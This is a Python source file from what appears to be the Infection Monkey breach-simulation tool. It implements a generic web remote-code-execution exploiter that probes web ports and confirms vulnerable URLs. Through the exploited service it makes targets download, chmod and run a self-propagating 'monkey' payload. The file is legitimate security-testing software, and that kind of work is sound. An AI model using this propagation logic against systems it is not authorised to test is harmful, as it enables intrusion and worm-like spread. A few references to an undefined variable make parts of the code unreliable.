monkey/infection_monkey/exploit/web_rce.py

480 lines
20 KiB
Python

import logging
from exploit import HostExploiter
from model import *
from posixpath import join
import re
from abc import abstractmethod
from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools
from network.tools import check_tcp_port, tcp_port_to_service
__author__ = 'VakarisZ'
LOG = logging.getLogger(__name__)
# Command used to check if monkeys already exists
LOOK_FOR_FILE = "ls %s"
POWERSHELL_NOT_FOUND = "owershell is not recognized"
# Constants used to refer to windows architectures( used in host.os['machine'])
WIN_ARCH_32 = "32"
WIN_ARCH_64 = "64"
class WebRCE(HostExploiter):
def __init__(self, host, monkey_target_paths=None):
"""
:param host: Host that we'll attack
:param monkey_target_paths: Where to upload the monkey at the target host system.
Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... }
"""
super(WebRCE, self).__init__(host)
self._config = __import__('config').WormConfiguration
if monkey_target_paths:
self.monkey_target_paths = monkey_target_paths
else:
self.monkey_target_paths = {'linux': self._config.dropper_target_path_linux,
'win32': self._config.dropper_target_path_win_32,
'win64': self._config.dropper_target_path_win_64}
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
self.skip_exist = self._config.skip_exploit_if_file_exist
self.vulnerable_urls = []
def get_exploit_config(self):
"""
Method that creates a dictionary of configuration values for exploit
:return: configuration dict
"""
exploit_config = dict()
# dropper: If true monkey will use dropper parameter that will detach monkey's process and try to copy
# it's file to the default destination path.
exploit_config['dropper'] = False
# upload_commands: Unformatted dict with one or two commands {'linux': WGET_HTTP_UPLOAD,'windows': WIN_CMD}
# Command must have "monkey_path" and "http_path" format parameters. If None defaults will be used.
exploit_config['upload_commands'] = None
# url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"]
exploit_config['url_extensions'] = None
# stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable.
exploit_config['stop_checking_urls'] = False
# blind_exploit: If true we won't check if file exist and won't try to get the architecture of target.
exploit_config['blind_exploit'] = False
return exploit_config
def exploit_host(self):
"""
Method that contains default exploitation workflow
:return: True if exploited, False otherwise
"""
# We get exploit configuration
exploit_config = self.get_exploit_config()
# Get open ports
ports = self.get_ports_w(self.HTTP, ["http"])
if not ports:
return False
# Get urls to try to exploit
urls = self.build_potential_urls(ports, exploit_config['url_extensions'])
self.add_vulnerable_urls(urls, exploit_config['stop_checking_urls'])
if not self.vulnerable_urls:
return False
# Skip if monkey already exists and this option is given
if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(self.vulnerable_urls[0]):
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True
# Check for targets architecture (if it's 32 or 64 bit)
if not exploit_config['blind_exploit'] and not self.set_host_arch(self.vulnerable_urls[0]):
return False
# Upload the right monkey to target
data = self.upload_monkey(self.vulnerable_urls[0], exploit_config['upload_commands'])
if data is False:
return False
# Change permissions to transform monkey into executable file
if self.change_permissions(self.vulnerable_urls[0], data['path']) is False:
return False
# Execute remote monkey
if self.execute_remote_monkey(self.vulnerable_urls[0], data['path'], exploit_config['dropper']) is False:
return False
return True
@abstractmethod
def exploit(self, url, command):
"""
A reference to a method which implements web exploit logic.
:param url: Url to send malicious packet to. Format: [http/https]://ip:port/extension.
:param command: Command which will be executed on remote host
:return: RCE's output/True if successful or False if failed
"""
raise NotImplementedError()
def get_open_service_ports(self, port_list, names):
"""
:param port_list: Potential ports to exploit. For example _config.HTTP_PORTS
:param names: [] of service names. Example: ["http"]
:return: Returns all open ports from port list that are of service names
"""
candidate_services = {}
candidate_services.update({
service: self.host.services[service] for service in self.host.services if
(self.host.services[service] and self.host.services[service]['name'] in names)
})
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
tcp_port_to_service(port) in candidate_services]
return valid_ports
def check_if_port_open(self, port):
is_open, _ = check_tcp_port(self.host.ip_addr, port)
if not is_open:
LOG.info("Port %d is closed on %r, skipping", port, self.host)
return False
return True
def get_command(self, path, http_path, commands):
try:
if 'linux' in self.host.os['type']:
command = commands['linux']
else:
command = commands['windows']
# Format command
command = command % {'monkey_path': path, 'http_path': http_path}
except KeyError:
LOG.error("Provided command is missing/bad for this type of host! "
"Check upload_monkey function docs before using custom monkey's upload commands.")
return False
return command
def check_if_exploitable(self, url):
"""
Checks if target is exploitable by interacting with url
:param url: Url to exploit
:return: True if exploitable and false if not
"""
try:
resp = self.exploit(url, CHECK_COMMAND)
if resp is True:
return True
elif resp is not False and ID_STRING in resp:
return True
else:
return False
except Exception as e:
LOG.error("Host's exploitability check failed due to: %s" % e)
return False
def build_potential_urls(self, ports, extensions=None):
"""
:param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)]
Eg. ports: [[80, False], [443, True]]
:param extensions: What subdirectories to scan. www.domain.com[/extension]
:return: Array of url's to try and attack
"""
url_list = []
if extensions:
extensions = [(e[1:] if '/' == e[0] else e) for e in extensions]
else:
extensions = [""]
for port in ports:
for extension in extensions:
if port[1]:
protocol = "https"
else:
protocol = "http"
url_list.append(join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension))
if not url_list:
LOG.info("No attack url's were built")
return url_list
def add_vulnerable_urls(self, urls, stop_checking=False):
"""
Gets vulnerable url(s) from url list
:param urls: Potentially vulnerable urls
:param stop_checking: If we want to continue checking for vulnerable url even though one is found (bool)
:return: None (we append to class variable vulnerable_urls)
"""
for url in urls:
if self.check_if_exploitable(url):
self.vulnerable_urls.append(url)
if stop_checking:
break
if not self.vulnerable_urls:
LOG.info("No vulnerable urls found, skipping.")
# We add urls to param used in reporting
self._exploit_info['vulnerable_urls'] = self.vulnerable_urls
def get_host_arch(self, url):
"""
:param url: Url for exploiter to use
:return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ...
"""
if 'linux' in self.host.os['type']:
resp = self.exploit(url, GET_ARCH_LINUX)
if resp:
# Pulls architecture string
arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
try:
arch = arch.group(1)
except AttributeError:
LOG.error("Looked for linux architecture but could not find it")
return False
if arch:
return arch
else:
LOG.info("Could not pull machine architecture string from command's output")
return False
else:
return False
else:
resp = self.exploit(url, GET_ARCH_WINDOWS)
if resp:
if "64-bit" in resp:
return WIN_ARCH_64
else:
return WIN_ARCH_32
else:
return False
def check_remote_monkey_file(self, url, path):
command = LOOK_FOR_FILE % path
resp = self.exploit(url, command)
if 'No such file' in resp:
return False
else:
LOG.info("Host %s was already infected under the current configuration, done" % host)
return True
def check_remote_files(self, url):
"""
:param url: Url for exploiter to use
:return: True if at least one file is found, False otherwise
"""
paths = []
if 'linux' in self.host.os['type']:
paths.append(self.monkey_target_paths['linux'])
else:
paths.extend([self.monkey_target_paths['win32'], self.monkey_target_paths['win64']])
for path in paths:
if self.check_remote_monkey_file(url, path):
return True
return False
# Wrapped functions:
def get_ports_w(self, ports, names):
"""
Get ports wrapped with log
:param ports: Potential ports to exploit. For example WormConfiguration.HTTP_PORTS
:param names: [] of service names. Example: ["http"]
:return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [ port.nr, IsHTTPS?]
"""
ports = self.get_open_service_ports(ports, names)
if not ports:
LOG.info("All default web ports are closed on %r, skipping", host)
return False
else:
return ports
def set_host_arch(self, url):
arch = self.get_host_arch(url)
if not arch:
LOG.error("Couldn't get host machine's architecture")
return False
else:
self.host.os['machine'] = arch
return True
def run_backup_commands(self, resp, url, dest_path, http_path):
"""
If you need multiple commands for the same os you can override this method to add backup commands
:param resp: Response from base command
:param url: Vulnerable url
:param dest_path: Where to upload monkey
:param http_path: Where to download monkey from
:return: Command's response (same response if backup command is not needed)
"""
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
LOG.info("Powershell not found in host. Using bitsadmin to download.")
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
resp = self.exploit(url, backup_command)
return resp
def upload_monkey(self, url, commands=None):
"""
:param url: Where exploiter should send it's request
:param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': WIN_CMD}
Command must have "monkey_path" and "http_path" format parameters.
:return: {'response': response/False, 'path': monkeys_path_in_host}
"""
LOG.info("Trying to upload monkey to the host.")
if not self.host.os['type']:
LOG.error("Unknown target's os type. Skipping.")
return False
paths = self.get_monkey_paths()
if not paths:
return False
# Create server for http download and wait for it's startup.
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths['src_path'])
if not http_path:
LOG.debug("Exploiter failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
# Choose command:
if not commands:
commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}
command = self.get_command(paths['dest_path'], http_path, commands)
resp = self.exploit(url, command)
resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path)
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
LOG.info("Uploading process finished")
# If response is false exploiter failed
if resp is False:
return resp
else:
return {'response': resp, 'path': paths['dest_path']}
def change_permissions(self, url, path, command=None):
"""
Method for linux hosts. Makes monkey executable
:param url: Where to send malicious packets
:param path: Path to monkey on remote host
:param command: Formatted command for permission change or None
:return: response, False if failed and True if permission change is not needed
"""
LOG.info("Changing monkey's permissions")
if 'windows' in self.host.os['type']:
LOG.info("Permission change not required for windows")
return True
if not command:
command = CHMOD_MONKEY % {'monkey_path': path}
try:
resp = self.exploit(url, command)
except Exception as e:
LOG.error("Something went wrong while trying to change permission: %s" % e)
return False
# If exploiter returns True / False
if type(resp) is bool:
LOG.info("Permission change finished")
return resp
# If exploiter returns command output, we can check for execution errors
if 'Operation not permitted' in resp:
LOG.error("Missing permissions to make monkey executable")
return False
elif 'No such file or directory' in resp:
LOG.error("Could not change permission because monkey was not found. Check path parameter.")
return False
LOG.info("Permission change finished")
return resp
def execute_remote_monkey(self, url, path, dropper=False):
"""
This method executes remote monkey
:param url: Where to send malicious packets
:param path: Path to monkey on remote host
:param dropper: Should remote monkey be executed with dropper or with monkey arg?
:return: Response or False if failed
"""
LOG.info("Trying to execute remote monkey")
# Get monkey command line
if dropper and path:
# If dropper is chosen we try to move monkey to default location
default_path = self.get_default_dropper_path()
if default_path is False:
return False
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, default_path)
command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': DROPPER_ARG, 'parameters': monkey_cmd}
else:
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd}
try:
resp = self.exploit(url, command)
# If exploiter returns True / False
if type(resp) is bool:
LOG.info("Execution attempt successfully finished")
return resp
# If exploiter returns command output, we can check for execution errors
if 'is not recognized' in resp or 'command not found' in resp:
LOG.error("Wrong path chosen or other process already deleted monkey")
return False
elif 'The system cannot execute' in resp:
LOG.error("System could not execute monkey")
return False
except Exception as e:
LOG.error("Something went wrong when trying to execute remote monkey: %s" % e)
return False
LOG.info("Execution attempt finished")
return resp
def get_monkey_upload_path(self, url_to_monkey):
"""
Gets destination path from one of WEB_RCE predetermined paths(self.monkey_target_paths).
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
:return: Corresponding monkey path from self.monkey_target_paths
"""
if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
return False
try:
if 'linux' in url_to_monkey:
return self.monkey_target_paths['linux']
elif 'windows-32' in url_to_monkey:
return self.monkey_target_paths['win32']
elif 'windows-64' in url_to_monkey:
return self.monkey_target_paths['win64']
else:
LOG.error("Could not figure out what type of monkey server was trying to upload, "
"thus destination path can not be chosen.")
return False
except KeyError:
LOG.error("Unknown key was found. Please use \"linux\", \"win32\" and \"win64\" keys to initialize "
"custom dict of monkey's destination paths")
return False
def get_monkey_paths(self):
"""
Gets local (used by server) and destination (where to download) paths.
:return: dict of source and destination paths
"""
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
# Determine which destination path to use
dest_path = self.get_monkey_upload_path(src_path)
if not dest_path:
return False
return {'src_path': src_path, 'dest_path': dest_path}
def get_default_dropper_path(self):
"""
Gets default dropper path for the host.
:return: Default monkey's destination path for corresponding host or False if failed.
E.g. config.dropper_target_path_linux(/tmp/monkey.sh) for linux host
"""
if not self.host.os.get('type') or (self.host.os['type'] != 'linux' and self.host.os['type'] != 'windows'):
LOG.error("Target's OS was either unidentified or not supported. Aborting")
return False
if self.host.os['type'] == 'linux':
return self._config.dropper_target_path_linux
if self.host.os['type'] == 'windows':
try:
if self.host.os['machine'] == WIN_ARCH_64:
return self._config.dropper_target_path_win_64
except KeyError:
LOG.debug("Target's machine type was not set. Using win-32 dropper path.")
return self._config.dropper_target_path_win_32